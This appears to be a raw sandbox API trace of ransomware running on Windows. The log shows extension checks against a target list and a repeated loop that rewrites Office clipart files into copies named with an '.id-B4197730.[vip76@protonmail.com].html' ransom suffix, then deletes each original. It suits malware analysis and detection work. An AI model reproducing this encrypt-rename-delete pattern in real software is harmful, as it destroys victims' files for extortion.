	[0184.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.750] lstrlenW (lpString=".dbf") returned 4
	[0184.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.750] lstrlenW (lpString=".1cd") returned 4
	[0184.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.750] lstrlenW (lpString=".jpg") returned 4
	[0184.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.750] lstrlenW (lpString=".doc") returned 4
	[0184.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.750] lstrlenW (lpString=".docx") returned 5
	[0184.750] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.750] lstrlenW (lpString=".pdf") returned 4
	[0184.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.751] lstrlenW (lpString=".xls") returned 4
	[0184.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.751] lstrlenW (lpString=".xlsx") returned 5
	[0184.751] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.751] lstrlenW (lpString=".ppt") returned 4
	[0184.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.751] lstrlenW (lpString=".zip") returned 4
	[0184.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.751] lstrlenW (lpString=".rar") returned 4
	[0184.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.751] lstrlenW (lpString=".bz2") returned 4
	[0184.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.751] lstrlenW (lpString=".7z") returned 3
	[0184.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.751] lstrlenW (lpString=".dbf") returned 4
	[0184.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.751] lstrlenW (lpString=".1cd") returned 4
	[0184.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0184.752] lstrlenW (lpString=".jpg") returned 4
	[0184.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.752] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0184.752] lstrlenW (lpString="J0099166.JPG") returned 12
	[0184.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.753] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=64767) returned 1
	[0184.753] CloseHandle (hObject=0x5ac) returned 1
	[0184.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0184.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.754] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.754] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0184.755] GetLastError () returned 0x0
	[0184.755] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0184.763] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xfd00, lpOverlapped=0x0) returned 1
	[0184.766] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.766] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.766] SetEndOfFile (hFile=0x36c) returned 1
	[0184.766] CloseHandle (hObject=0x36c) returned 1
	[0184.766] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.766] SetEndOfFile (hFile=0x5ac) returned 1
	[0184.772] CloseHandle (hObject=0x5ac) returned 1
	[0184.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0184.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.774] lstrlenW (lpString=".doc") returned 4
	[0184.774] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.774] lstrlenW (lpString=".docx") returned 5
	[0184.774] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0184.774] lstrlenW (lpString=".pdf") returned 4
	[0184.774] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.774] lstrlenW (lpString=".xls") returned 4
	[0184.774] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.774] lstrlenW (lpString=".xlsx") returned 5
	[0184.774] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0184.774] lstrlenW (lpString=".ppt") returned 4
	[0184.774] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.774] lstrlenW (lpString=".zip") returned 4
	[0184.774] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.774] lstrlenW (lpString=".rar") returned 4
	[0184.775] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.775] lstrlenW (lpString=".bz2") returned 4
	[0184.775] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.775] lstrlenW (lpString=".7z") returned 3
	[0184.775] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.775] lstrlenW (lpString=".dbf") returned 4
	[0184.775] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.775] lstrlenW (lpString=".1cd") returned 4
	[0184.775] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.775] lstrlenW (lpString=".jpg") returned 4
	[0184.775] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.775] lstrlenW (lpString=".doc") returned 4
	[0184.775] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.775] lstrlenW (lpString=".docx") returned 5
	[0184.775] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0184.775] lstrlenW (lpString=".pdf") returned 4
	[0184.776] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.776] lstrlenW (lpString=".xls") returned 4
	[0184.776] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.776] lstrlenW (lpString=".xlsx") returned 5
	[0184.776] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0184.776] lstrlenW (lpString=".ppt") returned 4
	[0184.776] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.776] lstrlenW (lpString=".zip") returned 4
	[0184.776] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.776] lstrlenW (lpString=".rar") returned 4
	[0184.776] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.776] lstrlenW (lpString=".bz2") returned 4
	[0184.776] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.776] lstrlenW (lpString=".7z") returned 3
	[0184.776] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.776] lstrlenW (lpString=".dbf") returned 4
	[0184.776] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.776] lstrlenW (lpString=".1cd") returned 4
	[0184.776] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0184.777] lstrlenW (lpString=".jpg") returned 4
	[0184.777] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.777] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0184.777] lstrlenW (lpString="J0099167.JPG") returned 12
	[0184.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.779] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=43949) returned 1
	[0184.779] CloseHandle (hObject=0x5ac) returned 1
	[0184.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0184.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.780] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.780] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0184.782] GetLastError () returned 0x0
	[0184.782] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xabad, lpOverlapped=0x0) returned 1
	[0185.434] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0185.714] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.714] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.714] SetEndOfFile (hFile=0x36c) returned 1
	[0186.002] CloseHandle (hObject=0x36c) returned 1
	[0186.006] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.006] SetEndOfFile (hFile=0x5ac) returned 1
	[0186.010] CloseHandle (hObject=0x5ac) returned 1
	[0186.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0186.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.013] lstrlenW (lpString=".doc") returned 4
	[0186.013] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0186.013] lstrlenW (lpString=".docx") returned 5
	[0186.013] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0186.013] lstrlenW (lpString=".pdf") returned 4
	[0186.013] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0186.013] lstrlenW (lpString=".xls") returned 4
	[0186.013] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0186.013] lstrlenW (lpString=".xlsx") returned 5
	[0186.013] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0186.013] lstrlenW (lpString=".ppt") returned 4
	[0186.013] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0186.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.013] lstrlenW (lpString=".zip") returned 4
	[0186.013] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0186.013] lstrlenW (lpString=".rar") returned 4
	[0186.013] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0186.013] lstrlenW (lpString=".bz2") returned 4
	[0186.013] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0186.013] lstrlenW (lpString=".7z") returned 3
	[0186.013] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0186.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.013] lstrlenW (lpString=".dbf") returned 4
	[0186.013] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0186.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.014] lstrlenW (lpString=".1cd") returned 4
	[0186.014] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0186.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.014] lstrlenW (lpString=".jpg") returned 4
	[0186.014] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0186.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.014] lstrlenW (lpString=".doc") returned 4
	[0186.014] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0186.014] lstrlenW (lpString=".docx") returned 5
	[0186.014] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0186.014] lstrlenW (lpString=".pdf") returned 4
	[0186.014] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0186.014] lstrlenW (lpString=".xls") returned 4
	[0186.014] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0186.014] lstrlenW (lpString=".xlsx") returned 5
	[0186.014] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0186.014] lstrlenW (lpString=".ppt") returned 4
	[0186.014] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0186.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.014] lstrlenW (lpString=".zip") returned 4
	[0186.014] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0186.014] lstrlenW (lpString=".rar") returned 4
	[0186.014] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0186.014] lstrlenW (lpString=".bz2") returned 4
	[0186.014] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0186.014] lstrlenW (lpString=".7z") returned 3
	[0186.014] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0186.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.014] lstrlenW (lpString=".dbf") returned 4
	[0186.015] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0186.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.015] lstrlenW (lpString=".1cd") returned 4
	[0186.015] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0186.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0186.015] lstrlenW (lpString=".jpg") returned 4
	[0186.015] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0186.015] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.015] lstrlenW (lpString="J0099171.WMF") returned 12
	[0186.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.016] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=8754) returned 1
	[0186.016] CloseHandle (hObject=0x5ac) returned 1
	[0186.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
	[0186.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.017] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.017] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0186.018] GetLastError () returned 0x0
	[0186.018] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2232, lpOverlapped=0x0) returned 1
	[0186.139] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2240, lpOverlapped=0x0) returned 1
	[0186.140] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.141] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.141] SetEndOfFile (hFile=0x590) returned 1
	[0186.209] CloseHandle (hObject=0x590) returned 1
	[0186.210] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.210] SetEndOfFile (hFile=0x5ac) returned 1
	[0186.250] CloseHandle (hObject=0x5ac) returned 1
	[0186.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0186.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.252] lstrlenW (lpString=".doc") returned 4
	[0186.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.252] lstrlenW (lpString=".docx") returned 5
	[0186.252] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0186.252] lstrlenW (lpString=".pdf") returned 4
	[0186.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.252] lstrlenW (lpString=".xls") returned 4
	[0186.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.252] lstrlenW (lpString=".xlsx") returned 5
	[0186.252] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0186.252] lstrlenW (lpString=".ppt") returned 4
	[0186.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.252] lstrlenW (lpString=".zip") returned 4
	[0186.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.252] lstrlenW (lpString=".rar") returned 4
	[0186.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString=".bz2") returned 4
	[0186.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString=".7z") returned 3
	[0186.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
